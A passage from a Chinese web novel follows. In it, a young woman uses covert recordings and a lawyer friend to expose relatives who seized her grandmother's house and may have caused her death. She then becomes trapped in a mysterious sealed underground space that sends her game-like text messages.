“婆婆的遗嘱虽然是最有力的武器,但光靠它,还不够。”褚清子看向了被强行占据的老房子,“他们不是想卖掉老房子吗?那行,就让他们卖,但卖的不是我的房子,而是他们自己。”
“什么意思?”
“颜颜,褚强做生意失败欠了很多债款,这是证据确凿的事实。褚琴挪用婆婆的存款,后续留下了证据,你那也有存档。根据这些线索,我想继续查下去,我想找到婆婆去世的真正原因。”
“你还是在怀疑他们?”
“嗯,我想请你帮我,如果他们真的做了伤天害理的事情,你能帮我把他们都送进去吗?用法律的手段,让他们再也没有机会,也没有能力,碰这房子一分一毫。”
她顿了顿,“我总觉得,婆婆的死因没这么简单。”
电话那头,又是长久的沉默,过了会儿,顾颜微微轻叹。“我支持你,可是这是一场持久战,也有一定的风险。你别报太大的期望,期望越高,失望也就越深。”
“你放心,我已经没有什么可以失去的了。如果说以前为了全家人的体面,我还可以让步。但现在,不行了。他们住在这房子一天,我就记一天的仇。这笔帐,我终将会用他们听得懂的方式,一笔一笔给讨要回来。”
“好,那我现在就联系调查员。另外,关于非法入侵住宅,你先固定好证据。等你回来后,我们先根据现有的情况和证据梳理分析可能性。”
“嗯,谢谢。”
“别这么客气,清子,你去获得证据的时候一定要万事小心。千万别被他们发现了,注意安全。”
褚清子挂断电话后,看了眼不远处的院门。从那老房子里传来了褚琴调试电视机的声音,还有褚强大力移动家具的响动。
她闭上眼,镇上的空气会比城市里的更干净。
但那屋里,却充斥着贪婪、无耻和令人作呕的人心。
她握紧了手机,朝老房子悄然走去。
4. 鸠占鹊巢(二)
04鸠占鹊巢(二)
南乡镇北路34号老房子里的喧嚣,并未因褚清子的离开而平息。
褚强推开了里屋的门,环视着周遭的一切。“我今晚就住这儿了,这里朝阳,亮堂。”
“不行。”褚琴搬着床褥挤了进来,“哥,你去睡妈那屋,我睡这儿。”
褚强好奇地打量着褚琴,“怎么,你难不成像那丫头说的真的心里有鬼,不敢住妈那屋儿?”
“别说这种骚心窝子的话,你刚才不是说了吗?这屋朝阳亮堂,那你不得让着你妹妹。”褚琴嘟囔着,说话也在理。
褚强虽然怀疑却没应,伸手拍了拍掉漆的衣柜,随手的力道震得柜顶一只旧搪瓷缸晃了晃。
“哎呀,这床板还有点硬。”褚琴坐在床榻上,拱着背试了试,“明天去定个新的床垫,不然天天睡腰肯定受不了。”
“睡睡就软了,娇气!”褚强走到床边,掀开了蒙尘的床罩,一股混合着皂香的味道散逸开来。
他皱了皱眉,随手将床罩扔在了地下,露出底下黄格子印花的床单,“老太太对那白眼狼实在是太好了,就算她出去工作了,也会将她的这个房间保持得这么整洁。”
“那不是,妈就是偏心。想不通她对一个孤女这么实诚干嘛,这不被哄骗着过继了遗产,死了还不是帮别人数钱。”
褚琴也很不满,不当着褚清子的面,她造谣的话随口就能说。说完,又举起手机,在屋子里拍了几张,最后打开微信点开李正恺的头像,发了出去:儿子,妈最近先暂时住在老宅,你在学校好好的哦,别给我惹事。
褚琴的丈夫常年在外地务工,她就将生活的重心都放在了李正恺身上。如今李正恺上了职高,也算半个独立的个体了,最近又申请了住校,她便退了一直都在住的出租屋。
之前,褚琴急着偷取妈的存款也是因为李正恺年少不懂事搞大了一个女生的肚子,急着筹些堕胎费和女生那边的补偿费。她实在无法将理由给妈透明白,就想了这种小聪明的办法骗走了几万块钱。
虽然被抓包了,但妈并没报案,只是将这事情当成了家务事处理。
褚清子去见顾颜的时候,已经是晚饭时间。两人随意找了家快餐店,顾颜坐在对面,桌上摊着笔记本电脑,专心致志地处理着工作。
“他们安顿下来了。”褚清子先开口,“后续该怎么做,才最稳妥?”
“嗯。”顾颜没抬头,认真地敲着键盘,“非法入侵的住宅罪,立案标志之一就是‘经要求退出而无理拒不退出’。我们现在需要固定这个证据。”
她应该是完成了工作,停下来后看向褚清子,“你想好了吗?确定要这么做?一旦启动刑事程序,尤其是关系到人命的调查,就再也没有转圜余地了。他们是你的亲戚,你这样绝情,他们肯定会恨你入骨的。”
“无所谓。”褚清子喝了口饮料,“转圜的余地一直都不在我手上,自从他们背着我做了这么多事情,把我不当成亲人,把婆婆的死不当回事开始,就没有余地了。”
她取出吸管,低垂着眼睛在杯子里搅了搅,“我不需要他们的亲情,也不需要他们的原谅,我只需要他们消失。”
“好。”顾颜合上电脑,“不管你做什么,我都会支持你。现在第一步是先取证,我们需要证明这个房子是你的,以及需要你明确要求他们离开但他们拒绝的证据。现在房产证已经具备,可要求离开的证据,还需要补充。”
“嗯。”褚清子思酌着,“我明天就去取证。”
“我陪你,你一个人我不放心。”顾颜应声。
第二天,两人很早就回到了镇上。老房子的院门敞开着,里面隐隐传来了声响。
褚清子站在院门前,朝里张望了会儿,才下定决心速战速决。
推开门的刹那,屋子里的动静突然没了。褚强探出了半个身子,看见是她,脸上挺不愉快:“你还敢回来?”
说得理直气壮,顺便轻瞥了眼身后的顾颜,“你带她来干什么?”
听见了说话声,褚琴抱着双臂也走了出来。她背靠在门槛上,挡住了入口:“清子啊,你怎么来了?”
褚清子知道他们说话难听,并不想停留太久,只想等到录了证据就离开:“大伯,姑姑。今天我带律师来,是想最后一次郑重地通知你们,这所房子已经明确登记在了我的名下,是我合法的私有财产。请你们在今天中午十二点前,收拾好所有的私人物品离开这里。否则,我将依法报警,追究你们非法侵入他人住宅的法律责任。”
她按照顾颜事先交代好的说法,一字不漏地说清楚,说得明明白白。她说完后,院子里出现了短暂的死寂。
随即,褚强发出了震耳欲聋的怒骂:“你说什么?让我们承担法律责任?这是你一个小辈对长辈该说的话吗?褚清子,我再警告你一遍,这是老子的地盘,你有本事现在就去报警,就去告,看那个法律管不管你!”
褚琴在一旁也嘲讽似的笑意不达眼底:“清子,你是不是读书读傻了,还是这个律师给你灌了什么糊涂话?你跟自家人还来这套?我们是你长辈,住你几天房子怎么了,而且是不是你房子还不一定呢。我们过来帮你暖下房子的人气,你应该感恩戴德呀。”
他们说的话,一个比一个难听。
褚清子早就预料到了,同他们说话一直都很费劲。他们只看重眼前的利益,所以可以肆无忌惮地说些不该说的话。但这也正好是她能采集的证据,他们终究会输在自己身上。
“十二点前不搬走,我就报警。”她没有犹豫,也没有继续纠缠,只是冷冷地看了他们一眼,随后拉着顾颜朝院外走去。
接下来的几天,褚清子并没报警,也没去过那所房子。
她和顾颜开始紧密配合,顾颜负责走法律程序,以及调取所有可能的公开记录。褚清子,则开始仔细调查关于婆婆去世前接触过的人或场所。
褚清子再次去了医院,找到了婆婆急救时的医生。医生听了来龙去脉,翻出了当时的病情报告。“你婆婆是摔了没及时救治,引发了颅内出血,送来时都已经很晚了,我记得送来的是家属,好像叫……”
“褚琴。”褚清子应道。
“对,就是这个名字。”医生推了推眼镜,“不过,在送来的时候我们还发现,在你婆婆的指甲缝里,有一点不太常见的蓝色纤维,很像是一种口袋材质,这个事情我们也和褚琴提到过。”
蓝色纤维的口袋?
褚清子在心里盘算,婆婆平时出门买菜都会背布包,家里似乎也没用过颜色比较鲜艳的口袋,大多都是白色或深色。
她又找到当时出警的社区民警,仔细询问了细节。据说这起案件被判定为意外后,家属很快就表示没有任何异议,签字结案了。民警看出了褚清子的顾虑,还是认真提醒:“如果你确实认为有疑点,可以申请协助调查,但需要更具体的线索和证据。”
与此同时,顾颜那边也有了进展。
她通过正规渠道了解到,褚强有多笔外地来历不明的债务纠纷诉讼记录,但他都直接隐姓埋名,故意拖欠不还钱。褚琴私自取走婆婆存款的证据和线索也证明,她能从银行转账是因为伪造过婆婆的授权书,构成了盗窃罪。
“证据链正在慢慢闭合。”顾颜在律所的办公室里,对着褚清子分析,“非法侵入住宅是现成的罪证,褚琴还有条盗窃罪,我们可以立刻报案。但要将他们彻底钉死,尤其是牵扯到你婆婆的死因,还需要更多决定性的证据。”
“我知道了。”褚清子盯着窗外的车水马龙,眼神专注,“我都会找到的。”
她开始出入南乡镇北路附近,悄悄走访婆婆生前经常走动的街坊。
起初,有些街坊讳莫如深,但褚清子拿出了婆婆的旧照片,红着眼睛也开始演戏:“……婆婆生前同您特别交好……我以前回家的时候,她经常会提到您……”
演得多了,愈演愈烈。很多
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人在看到照片的时候心就软了,零碎的信息逐渐拼凑起来,真相也越来越清晰。
婆婆去世前那段时间,他们的确看到褚琴和褚强经常回老房子,但每次两人和老太太争执的声音都挺大,走的时候也不欢而散。
还有人回忆起,婆婆出事那晚,褚琴和褚强前后都来过。其中,褚琴的手里还提着袋鼓囊囊的蓝色口袋,由于颜色打眼,所以记得很清楚。
不过,最关键的证据,来自于褚清子一开始埋下的冒险。根据她二十几年对褚强和褚琴的判断,他们表面上看起来虽然沆瀣一气,可一旦牵扯到利益纠葛,必须会产生内讧。
褚琴肯定不会主张短时间内卖掉老房子,但褚强缺钱,他是最想要现金的人。
两人道不同,总会分道扬镳。所以,等他们二人觉得褚清子不再是个威胁后,这种矛盾就会崭露头角。
早在褚清子回老房子时,就将几支录音笔分别藏在了槐树的树洞里、平房墙根的土壤里,还有沙发的底座下。她最近除了走动街坊,还在观察褚强和褚琴的动态。
趁着他们不在老房子的时候,悄悄潜入,将隐秘藏好的录音笔尽数收回。经过了彻夜的反复听取,她终于捕捉到了好几次褚强同褚琴之间比较致命的对话。
褚强几次提到房子要出售换取现金,都被褚琴给驳回了。所以他就开始打起褚琴私自提取婆婆存款那笔钱的主意。
“妈的钱得平分……”
“哥,你什么意思?”
“别以为我不知道,你之前偷偷取过妈的存折,这事情闹得这么大,只是老太太给你压下来了。”
“那是我的钱,和你没关系……”
“没关系?你最近住这房子反常得很,妈的卧室你从来都不进去,妈的东西你也从来不敢碰。大半夜的,隔着门都听得见你在尖叫,还喊什么……不是故意的……你是不是心里有鬼!”
“胡说!你住在那屋,我去干嘛,替你打扫卫生吗?真当我是你保姆了?”
呲呲呲,录音笔里争执的声音一重接着一重。
“你再不交出那笔钱,我明天就找中介把这房子挂网上。”
“你挂啊,你有房产证吗,在这说什么大白话。”
“……褚琴!你先把钱给我,我还了债再同你想办法,把房产证搞到手。”
“不可能,一分钱都不会给你的。这房子也是,住得好好的,怎么可能卖,不能卖。”
“行,你不卖也不给钱是吧。那我就把你那天晚上的事情全都抖出来!”
“什么事情,你又在发什么疯?”
“别以为你藏得很好,我听别人说妈摔伤的那晚,你就在房子里。”
“你听谁说的,谁在背后乱嚼舌根?”
“还能有谁,隔壁的都听到了,那天你提着大包东西,路过街坊就说去看妈,结果晚上和妈大吵了一架。吵完妈就摔了,你说真是意外吗?”
“你怎么知道我们吵完后,妈才摔的?你亲眼看见了?你是不是也心里有鬼?我也听别人说那天晚上你也来过,如果你在我后面……”
“你……你个毒妇!就是你把妈摔伤的。”
“那你呢?你不也是眼睁睁看着妈倒在地上,起了歹心想尽快继承遗产就选择见死不救吗?”
……
褚清子听完后,陷入了长久的沉默,结合之前的线索,褚琴和褚强的罪名已经坐实。
顾颜陪同褚清子,正式将证据提交并报了案。报案后,警方很快来到了南乡镇北路。这一次,他们不是调解,而是逮捕。
褚清子等到最终判决后,并没有想象中那样大快人心,反而只剩下深入骨髓的疲惫,以及尘埃落定的虚空。
这场仗,她是赢了,却用了最彻底、也最残酷的方式。
房子终于彻底空了,她坐在独凳上回头看着眼熟的记忆。
她知道,生活还要继续。
而房子的装修,也要继续。
5. 多余的灰色空间
05多余的灰色空间
褚清子在镇上找了个小作坊的设计师,名叫徐宁,是个三十多岁的女人。
她们在微信上简单沟通了想法和风格,就约定线下见一面。
两人在老房子见的时候,褚清子还有些意外,徐宁的形象在她心中完全不一样。
她还以为,微信里喜欢发萌宠表情包的徐宁应该是个温柔的长发女生。但没想到,她留着一头干练的短发,穿着简洁利落的工装裤,背着工具包,说话的时候声音挺低沉。
她们没有多余的客套,简单确认了双方的意向后,徐宁就带着工具直接进屋开工。
徐宁对着设计图纸,拿着激光测距仪,一边记录数据,一边敏锐地观察着房屋的每一道细节。包括这栋老房子曾经不合理需要拆除,改造的地方,徐宁都在手机上一一做了备注。
褚清子跟在她身后,就像道沉默的影子。
“褚小姐,你看这里。”徐宁突然停下手里的动作,蹲在靠窗的地砖边缘,用手轻轻敲了敲,“这地砖,有些不对劲。”
她仔细观察了一下,再次伸手用手背敲了敲,发出空洞的“咚咚”声,“下面应该是空的,这房子你们以前翻修过?这一块,像是人工补上的。”
“是不是发生了沉降?”褚清子听后也蹲下了身,尝试着敲击不同的地砖,声音的虚实的确有差异,“这房子年份老了,地基层没做好应该会容易发生沉降。还是……地下真有个空间?”
“很难说。”徐宁摇摇头,“可能是你说的施工问题,也可能是有地下室,或者是……地下有什么东西影响了地基。我需要看看这个房子原本的建造图纸,你这有吗?”
“行,我去找找。”褚清子起身,凭借着直觉朝婆婆的卧室走去,她推测关于老房子的图纸应该还留在那儿。
徐宁继续敲着地砖,根据虚实的响声,一路摸到了房子的后花园。这里几天没打理,已经开始长杂草,角落里还堆着建筑垃圾。
她用手电筒对着房子的墙角,往里探去。角落阴影的一处有个孔洞,被水泥粗糙封堵住,像是支出来的通风洞口。
“看来这里也被封死了。”她自言自语地喃喃道,手电筒的尾端敲了敲那块陈旧的水泥,“不知道为什么封得很匆忙,做工也很差。”
徐宁并未再轻举妄动,而是仔细观察着孔洞周遭的事物,顺便等褚清子找到图纸。
褚清子在婆婆的卧室里翻找了起来,最后在床头边的五斗柜深处,摸到了一个坚硬的铁皮盒子。她小心翼翼地打开后,里面装着一本已经泛黄,用牛皮纸包裹好的册子。
是这栋老房子几十年前的设计图纸,年代久远,都是手写比着直尺画的,不是机打标注的。
她仔细辨认了上面的字体,特别潦草,不知道徐宁能否看明白。
她抱着铁盒子跑回了后院,徐宁正站在附近等她。两人就着图纸,对照着户型结构一块一块区域地排查。
在图纸上,徐宁凭借着专业的直觉,指着一处地方下了判断。一楼地板的下方有一处灰色的空间,一直连通去往着后花园的墙角。
“找到了。”徐宁按着图纸上的这处灰色空间,上下比对着面积和尺寸,这块区域的确覆盖了她刚刚粗略丈量过的位置。
“褚小姐,看来这地下有处空间可以好好利用,如果处理得好,看这面积应该可以做个不错的地下室。”徐宁有些兴奋,语气都变得跃跃欲试。
“你确定吗?这下面还有空间?”褚清子有些疑惑,毕竟住在这老房子二十几年,还从来没注意到这下面藏着这么一片空间。
“对,完全可以。”徐宁的眼睛很亮,专业的本能让她产生了很多想法,似乎在就地将许多新的点子一股脑都告诉褚清子,“等你决定好,我们就挖出来,可以从客厅架一个楼梯下去,或者从后花园直接下去也行。这下面都有现成的结构,就是不知道为什么当年你们没使用。”
褚清子一时半会也无法消化,更没法回答她的这个问题。对啊,婆婆爷爷当年明明挖了一个空间出来,怎么就没有使用呢?而且,自她有记忆起,她就从来没听说过这下面还有什么灰色空间。
“怎么样,要不要打开?”徐宁继续问道。
“这样,徐设计师,”褚清子抬起头,还没完全想好,“你先设计一套地下室的方案,多余面积产生的费用按照之前我们商量好的价格正常收取。”
“好,褚小姐,你放心,我会给你一个惊喜。”
接下来的日子,34号院再次热闹起来,处处都充满了建设性的噪音。工人进场后,开始拆除客厅的地砖,一直拆到了后花园的门前,下面确实存在,一处空高约三米的灰色空间。
褚清子放弃了城里的工作,拿着积蓄开始跑工地。她几乎会用大半日的时间,守在工地里认真地看着工人们清理渣土,看着隐藏的灰色空间一点点地显露出了真容。
灰色空间的面积大概占据了客厅面积的三分之二,四壁都是红色的砖墙,角落里还堆放着建筑垃圾。挖出后,褚清子确实很疑惑,婆婆爷爷当年明明设计了这处空间,结构都造好了,为什么不使用呢?
当这处灰色空间被临时搭建了木梯后,褚清子戴着安全帽,举着手电筒踩着梯子下到了地穴般的隐藏空间。
她独自一人,仰望着头顶的天光。这里作为一个单独的空间,只要防潮做好了,将会是一个无人打扰,可以独处的私密空间。
她继续往深处走去,世界的喧嚣瞬间被抛之脑后。整处空间里,只剩下她平缓的呼吸声,在往前的黑暗里被无限放大。
徐宁在设计的时候,提到这里可以作为极简的读书室,里面可以做多重的书架,还可以摆一个茶桌,私密性很强。
褚清子其实很满意这个设计,所以下到这个空间的时候,她已经展开了无穷的想象。
她举着手电筒,清晰的光柱切开了不少角落的黑暗,照亮了粗糙的红砖墙面。砖缝里塞着早已硬化的黄泥,看起来应该是上个世纪工匠的手艺。她不由地伸出手,去触摸墙面的纹理。
这处灰色空间是长条形,长度还有些深。她走到尽头后,发现了堆积在里面的建筑垃圾,用木棍稍微拨弄了一下,里面有些是细沙,有些是废了的塑料袋。
“为什么不用呢……”她低声自问,再次产生了疑惑。
婆婆爷爷生前都是节俭、喜爱收拾的人,家里哪怕多了一颗钉子,都要归置得整齐。这样一个现成的空间,哪怕是做成储物间,放几坛咸菜、存几捆柴火都可以好好利用。可为什么他们要将这块空间给封死呢?还要特意将通风的地方也给堵上。
她拿着手电筒,对着砖墙照射。借着光源,她发现有一块砖头的颜色比其他砖头更深,也更光滑,像是经常被抚摸。
她没忍住,往前凑近了看,砖头上方似乎刻着什么。她将脸贴得更近,甚至屏住了呼吸。
有些意外的是,上面并不是刻字,而是一个凹进去的指印。一个很小,看起来应该是个孩子的指印,被硬生生地按在砖泥里,历经几十年,留下了痕迹。
是谁被困在里面过吗?
由于处在较暗的环境里,褚清子的后背突然发凉,难道是因为这个原因,这处空间才被封住的?
还没来得及细想,离着不远处的天光突然消失。
整片空间里独留下她手电筒的光源,她猛然抬头,原本通往外面的洞口完全没有了踪影。
她举着手电筒往记忆里本应存在的洞口照去,却发现立着的木梯不见了,洞口竟然成了被密封的平顶。
紧接着,她听见了奇怪的声音。
不是风声,也不是说话声,而是一种极其沉闷,就像被蒙上了几层棉被传来的嗡嗡声。像装修的噪音,像来往的车流,像被泡在水里此起彼伏的喧闹。起初很近,渐渐开始变远,远得像是另一个世界。
她慌了,内心的恐惧被无限放大。
她不知道发生了什么事,只有本能地逃往梯子消失的地方,边逃边不断大喊:“有人吗?有人吗?”
没有回应。
“徐宁!”她继续提高音量,憋尽了力气,“你在外面吗?!”
可是她的喊声撞在墙上,又被迅速弹
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了回来,在这个空间里形成了诡异的回音。听起来,就像同时有几个她在喊叫。
褚清子迅速捂住嘴,害怕地后退了几步,背很快贴在了砖墙上。
她的声音混着扰耳的嗡嗡声,更可怕了。
“叮咚!”
她裤兜里的手机突然有收到短信的提示音。
她吓了一跳,又很快低头看去。打开手机后,屏幕上收到一条乱码发来的短信,可明明信号栏里显示的是“无服务”。
她匪夷所思地点开了短信,内容很简短,也很奇怪:
【欢迎来到灰色空间,请继续前进,才能找到出口。】
这是什么意思?
她点开号码,拨打后很快就被挂断,没有信号根本就打不出去。可这条短信,又是如何发进来的?
她敲击着键盘,随便发了个数字“1”,想回复这条短信。但界面显示,无法发送。
接连反复操作了几次,都是一样的结果。
她不死心,举起手电筒又在四周照了照,此时头上的平顶依然什么也没有,她完全已经被封在了一个密闭的空间里。
就像被困在了一口可以站立的棺材里。
她开始用物理方法求救,不停地敲击着墙面,越来越大力,屈起的拳头敲得很响很亮。可时间越久,越不得回应,她就越崩溃,这段时间的委屈、逞强,还有憋在心底的愤懑,都在这一刻溃败成军。
她被抛弃了。
被突然去世的婆婆抛弃,被看不惯她的大伯和姑姑抛弃,就连现在也会被这栋老房子抛弃。
她越来越累,可不管怎么努力,能回应她的只剩下无尽的沉默和窒闷。
褚清子敲累了,蹲下身对着眼前的这堵墙,就像在面壁思过。更难过的是,她手里的电筒也不亮了,不管她怎么重复按开关,都不起作用。
她一恼之下,将手电筒摔在了角落。
世界变得很黑,她被困在了绝望的边缘。唯一成点光亮的,就是手机里那条短信。
继续前进?
往哪儿前进?
还能去哪儿?
这里很明显就是一个被封死的盒子,没有退路也没有前进的路。
她无路可去。
褚清子长时间在黑暗里处惯了,就有了恐惧的生理反应。她吞咽着口水,汗水不停地淌。她眼神专注地看着一个点,在强迫自己冷静下来。
如果前进和后退,都没有去路。上面无处可去,地下也没有通道可以走。那四面的墙呢,刚刚有差异的那块砖又在哪儿?
那儿会是突破口吗?
她像获得了一触就逝的希望,赶紧爬起身,用手机微弱的光,检查着墙上每一处砖。终于找到了,有凹陷和指纹的那处,她的手指在整块砖上摸索着,指甲里全塞满了黄泥的碎屑。
就在摸到有指纹的那处,她忽然发现这道指纹和自己的食指其实很契合。虽然指纹很小,但深陷的凹度是可以按进去的。
褚清子愣住了,她却对这处凹陷没有任何的记忆,但她也不想放弃任何一个暗示。哪怕这可能是她在绝望深处,毫无办法臆想的一个关键。
这道指纹或许同她有关。
但这都不重要了,重要的是,它可能是一个契机。
她的手指往里用力一按。
“咔嚓”一声轻响,像是什么机括被触发。
紧接着,她脚下的地面开始震动。不是地震那种剧烈摇晃,而是一种沉闷的、带着机械的轰鸣震感。
就在她眼前,那一面密封好的砖墙,竟然开始加速向内收缩,朝里疯狂退后,很快就露出了一个更加深邃,更加漆黑的门洞。
门洞里灌出了阴冷的风,带着一股陈腐了百年的土腥味。
而褚清子握在手里的手机光,也在这刻彻底破碎。
不是没电,而是仿佛被这股突如其来的黑暗彻底吞噬,眼前瞬间陷入一片伸手不见五指的漆黑。
而那条短信的最后几个字,似乎还在她的视网膜上残留着荧光:请继续前进,才能出去。
请继续前进,才能出去。
6. 零维空间
06零维空间
在纯粹的黑暗里站久了,就会失去很多感觉,比如视觉和触觉。
不过,也有其他的感官正被悄无声息地放大,尤其是听觉和嗅觉。
褚清子站在原地根本摸不清方向,她只能听见心脏抨击起伏的突跳声。这是属于年轻人的节奏,又响又烈,在长久的黑暗里无法平稳。
除了自己的心跳,耳边不时传来敲击耳膜的闷响,她很烦躁,混着害怕,根本没有任何办法能静下心去思考。
她其实对突然落入这个密闭的空间,假想了无数种可能。比如这就是一场噩梦,她这段时间精神一直紧绷,没有好好睡觉,所以做了个脱离现实,不能用常理去解释的噩梦。
可她用力地掐了自己的手臂,掐了大腿……掐了好多处地方,是真的肉疼。
她又将怀疑的对象,转移到了徐宁身上。灰色空间从被发现再到改造提议,都是这位设计师从前往后推她入的局。
徐宁生在南乡镇,肯定也有机会认识大伯和姑姑,至于是否相熟,还有待确定。但也难保她是他们安插在她身边的眼线,专门设局引她坠入这灰色空间,将她关在里面,耗在里面,甚至还会死在里面……
可这是法治社会,他们不可能会为了威胁或者报仇,轻易看轻人命。而且,电视剧里反派在陷害别人的时候,不都喜欢,看着他们临死前,居高临下地调侃几句吗?
况且,她眼前是无限伸展的黑暗,徐宁根本不可能神不知鬼不觉地做到这么大土壤的挖掘。褚清子几乎每天都要去老房子,如果有人搞出这么大的动静,她铁定清楚。
所以,徐宁陷害她坠入的理由其实不太成立。如果这些可能性都无法解释,她只能往非自然现象方面去靠了。
莫非,她被不干净的东西给缠住了?
这种念头其实更真实些。
但她却不太害怕,因为这里是她扎根的地方。她和婆婆共同生长,共同相依为命的家。她更希望,能在这栋老房子里看见婆婆的灵魂,隐隐期望她没走,她就守在这儿,守在她的身边。
可满眼的黑暗,根本不可能会出现任何的鬼影。
当所有的猜测都被反复推翻,然后再被连根拔起,直到最后,褚清子其实也没想通,自己为何会被困在灰色空间里?
在黑暗里僵持久了,她还是熬不住,开始迈脚往里走,在这片混沌里摸索。走累了,就停在原地喘息。她不知道自己身处在哪片深渊,前后左右都失去了方向,就像只无头的苍蝇,四处乱撞。
却怎么也撞不满。
周围太空了,空得她只能走走停停,却不敢持续地站在原地。
这里不对劲,简直太不对劲了。
一切的遭遇都是突如其来,越来越宽阔的空间,被封死的洞口,凭空消失的木梯,失去了电源的手电筒,还有没有信号却能接收短信的手机……
一桩桩,一件件,早已超出了她的理智和认知,甚至内心的恐惧,随着黑暗的持续被无限放大。
她失去了身体的平衡感,失去了前后左右的方向性,失去了能辨别身边物品的距离感。
她所处的空间,就像有一双无形的手删除了她要前进的“路”。
她很绝望,同得知婆婆去世时的噩耗一样,情绪一瞬间是懵的,然后是身体内的骨头变软,站也站不起来。
好像一辈子的倚靠,溃败成军。
明明在合理的情况下,人在黑暗里待惯了,眼睛会逐渐适应,也会通过视觉的光感去辨别万物的轮廓。但现在,她就像瞎了一样,深陷在没有眼睛的恐惧里,失去了任何的参照物。
褚清子其实从来没有这样孤立无援过,小时候就算大伯姑姑如何为难,都会有婆婆在背后撑腰。长大了她也能凭自己的本事赚钱,甚至遇到再苦再累的挫折,她都学会了云淡风轻。
她是个知难而退的性格,却只对亲戚,对是非上习惯了被忽视,可唯独自己一个人活着的时候,她不会放弃。
只要违背了她原则的问题,她仍然会坚守。可是这一次,她根本没有选择的余地。她逃无可逃。
黑暗吞没了她整个身体,她是里面唯一的活物,却像是一个被遗弃在绝对虚空的坐标点。
不知过了多久,她其实早就已经失去了时间的概念。她从恐惧,到绝望,再到麻木不仁。
她怀抱着双臂,强迫自己尽量去想办法,尽量抚平混乱的心跳,还有耳边烦躁的闷响。
她在找短信的破绽,继续前进,才能找到出路。那就只能硬着头皮往前走。
她吸气的时候,鼻腔里吸入的陈腐土腥味更浓了。虽然没有任何物体可以作标记,但她仍然先凭借着直接指出的方向感,朝前走去。
但她还是无法侦破出这个空间的奥秘,她明明已经走了很久,却始终以为自己是在原地踏步。四周没有任何的参照物,她应该走了很久,却从来没有离开过原点。
更确切地说,原点是从哪出现的,她根本无法确定。她像是遇见了鬼打墙,无论怎么走,都会深陷一样的困境。
这是一种徒劳无功的疲惫,远远比单纯的恐惧更消磨人的意志。它污染了褚清子的精神状态,让她怀疑自己,更怀疑现实。
“不能再这样下去。”她低声警告自己。
褚清子彻底停下来,强迫大脑在无数沮丧情绪的干扰下还能清醒地去思考。她发现,当整个人完全深陷黑暗后,在抛却最初的恐惧和害怕后,其实能获得前所未有的专注。
她忽然意识到,自己一直都在用惯常的思维方式去寻找突破口。就像普通人,认识一个陌生的地方,通常都会用到眼睛。可在这里,眼睛就是毫无用处的摆设。
这个念头的出现,相当于一根救命稻草,被她紧紧地攥在了手里。既然睁开眼不能让整个身体都全神贯注,那不如闭上眼睛,舍弃光明,也能冲破黑暗。
褚清子缓缓闭上了酸涩的双眼。
瞬间,世界还是一片漆黑,却变得……更安静了。并不是毫无声响的安静,而是一种奇特的感知空白。她强迫自己放大现有的感官优势,不去想未知的黑暗,也不去想无边界的深渊,而是将所有的注意力都集中在了耳朵上。
起初,她只听见了自己急促的呼吸,还有砰砰的心跳声。慢慢地,她学会了控制呼吸,让它变得更加绵长,心跳渐渐趋近平缓。
然后,她听到了。
不是风声,不是虫鸣,也不是任何具体可以描述的声音,更像是一种这个世界不存在的声音。像是最细微的尘埃在绝对静止中飘落的轨迹,也像是整个空间都在暗暗低语。
是一种极其微弱,却又无处不在的底噪。
她的听觉,在失去了视觉的干扰后,像是被瞬间提升了灵敏度。她开始能分辨整片空无中细微的差别。有的方向,空无声更厚重,像是有实体在阻挡。而有的方向,更加轻盈,仿佛是通向更开阔的区域。
褚清子像个盲人一样,根据双耳的判断,小心翼翼地挪动脚步。她走的其实很缓慢,因为每挪动一块区域,声音的轻重都会有差异。
她听着周围存在差异的回响,辨别着可能更宽阔的前路。
渐渐地,在寻找空无的声音中,她捕捉到了一丝异常。
在持续不断,不同区域不同均匀的空无声中,正前方偏右一点的位置,传来一种极其微弱,频率略有不同的震动。这好像不是声音,更像是一种奇怪的节奏,一种有规律,几乎难以察觉的脉动。
它太微弱了,如果不是因为褚清子静下心全神贯注,几乎会错过这道节奏。
难不成,它一直都存在?
她虽然心存疑惑,却仍然神不知鬼不觉地朝着声音的源头走去。她总觉得,在那声音的背后会有道生命力的存在。
周围的黑暗似乎变得更加浓稠,空气也
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更加阴冷。其实很奇怪,洞口被封住这么久,这里面也没有任何的通风管道,按理说氧气早就该变得稀薄,也不可能遇到阴凉的风。
可她却没有身体上任何的不适,全是心理上的痛苦。
在离脉动声更近时,她的脚尖突然碰到了坚硬的物体。失而复得的触感,让她找到了难能可贵的希望。她很急地蹲下身,双手朝前去摸,原来是壁冰冷又粗粝的砖墙。
但不知为何,直觉告诉她这面墙,似乎是从虚无的黑暗里突兀地长出来的。
她顺着墙边一直往上摸,最后在一块发出了很小震动,较于其他地方有些松动的砖头上停住。
她站起身,耳朵往砖块上去贴,听见了越来越清晰的心脉声。
这是谁的心跳?
是这整个空间的吗?
还是背后有什么人?
褚清子很疑惑,但她还是想尝试从这里下手。
她伸手按住砖块,往里轻轻一推,“咔哒”的一声,明明是同样的轻响,却在这片黑暗里发出了震荡的雷鸣。
就像夏日的惊雷,在四周不停碰撞。
她眼前的黑暗,被撕开了一条口子。一道微弱的可以忽略不计的光从里透出,随着缝隙的扩容,变得越来越清楚。
是光!成功了!
站在黑暗里太久,连光的存在都让人忍不住感性。
褚清子几乎喜极而泣,她手脚并用地扒开洞口,不顾砖石摩擦皮肤的疼痛,努力地往外扒。
砖块其实很容易地就被扒出,一块接着一块。扑腾一下,她跌入了另一个空间。
是一个拥有着光的空间,更准确地说,眼前的并不是一望无尽的黑暗,而是有一条昏暗,却并未彻底熄灭的光带。
那道光,气若游丝。像黄昏将尽未尽的余夕,也像霓虹的残影。由于太久没见到光,褚清子下意识地伸出手挡着脸遮掩了大半。
她身后的洞口,已经被扒拉出了一个仅容一人通过的小洞,她几乎是硬生生从纯粹的黑暗里挤出来的。
挤出的同时,她的身后也传来了重重的摩擦声,像是背后跟着某个东西也在黑暗中坠入洞口蠕动了一段。
褚清子不敢回头,因为她知道回头后,就是深渊,无穷无尽,潜意识里也在警告她不要再回去。
她看着眼前的路,又是一眼望不掉尽头。但好歹,能用眼睛看清的路,都不算太差。
只是除了眼前的光外,身侧两旁又是黑不见底的路,没有物体也没有遮挡,还是无尽的黑暗。
在这里,她只能沿着光道前行,或者后退,不能朝左,也不能朝右。更别说朝上,或者朝下了。
在这个空间,她能感受的只有长度,没有宽度和高度。或者说,她能感受到的,只是空间被极致地压缩。
突然,手机毫无预兆地响了,又是一条新来的短信:
【恭喜你,获得永久奖励技能:顺风耳。】
顺风耳?
